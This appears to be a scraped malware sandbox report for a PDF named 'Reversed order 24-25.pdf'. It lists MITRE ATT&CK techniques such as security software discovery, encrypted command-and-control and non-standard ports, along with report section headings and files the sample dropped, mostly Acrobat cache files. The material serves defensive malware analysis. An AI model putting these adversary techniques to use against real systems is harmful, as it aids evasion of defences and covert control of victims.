Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Reversed order 24-25.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Downloads\01-14-2025 10-06-38.jpg

C:\Users\Public\Downloads\01-14-2025 10-48-09.jpg

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9fe85139-efb0-4cd3-b9ad-81380b74dbe7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250115023635Z-152.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Windows Analysis Report
Reversed order 24-25.pdf

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre